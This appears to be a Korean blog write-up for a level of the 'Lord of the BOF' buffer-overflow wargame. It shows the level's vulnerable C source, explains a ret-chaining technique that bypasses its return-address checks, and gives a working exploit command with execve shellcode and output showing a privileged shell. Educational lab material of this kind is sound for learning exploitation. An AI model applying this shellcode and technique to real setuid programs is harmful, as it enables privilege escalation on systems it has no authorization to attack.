[giant@localhost giant]$ cat assassin.c /* The Lord of the BOF : The Fellowship of the BOF - assassin - no stack, no RTL */ #include <stdio.h> #include <stdlib.h> main(int argc, char *argv[]) { char buffer[40]; if(argc < 2){ printf("argv error\n"); exit(0); } if(argv[1][47] == '\xbf') { printf("stack retbayed you!\n"); exit(0); } if(argv[1][47] == '\x40') { printf("library retbayed you, too!!\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); // buffer+sfp hunter memset(buffer, 0, 44); } |
이번에는 0xbf~로 시작하는 스택 영역이나 0x40~으로 시작하는 라이브러리 영역을 RET로 사용할 수 없는 문제네요
즉 RTL도 안되고 스택을 이용한 RET는 안된다..이말이군요
그런데 쉘 코드를 올릴 수는 있나봅니다. 환경 변수를 argv[2]로 쓴다던가.. 버퍼에 쉘코드를 쓴 후에 argv 영역에서 읽는다던가..
아무튼 이 방법은 leave; ret; ret;로 풀 수 있습니다.. 의외로 빨리풀린 문제네요.
memset을 하고 나면 leave; ret;를 수행합니다. 다들 아시겠지만 leave;를 수행하고나면 esp가 ret를 가리키게 되겠죠..
ret를 하게되면 pop eip를 통해 ret의 주소가 eip에 박히게되고 해당 주소로 점프합니다.
그런데 이 ret의 주소를 ret 명령의 주소로 바꾸게되면 어떻게 될까요?
ret; ret; 이렇게 두번의 ret 명령이 실행되므로
pop eip;
jmp eip;
pop eip;
jmp eip;
다음과 같은 명령을 실행하겠죠?
여기서 두번째 pop eip 과정에서 ret+4byte의 값이 pop됩니다. 즉 저희가 조작할 수 있는 값이죠..
이 값을 쉘코드가 포함된 argv[1]의 주소 혹은, 환경변수의 주소로 입력시켜주면 될 것 같습니다.
[giant@localhost giant]$ ./assassin `perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80", "\x90"x20, "\x65\x85\x04\x08", "\x14\xfc\xff\xbf"'`
1픐h//shh/bin??S??
것????????????????????e? ?
bash$ id
uid=514(giant) gid=514(giant) euid=515(assassin) egid=515(assassin) groups=514(giant)
bash$ my-pass
euid = 515
pushing me away
bash$
성공!
'워게임 > lord of bof' 카테고리의 다른 글
level 16 -> 17 (0) | 2015.10.23 |
---|---|
level 15 -> 16 (0) | 2015.10.23 |
level 13 -> 14 (0) | 2015.10.23 |
level 12 -> 13 (0) | 2015.10.23 |
level 11 -> 12 (0) | 2015.10.23 |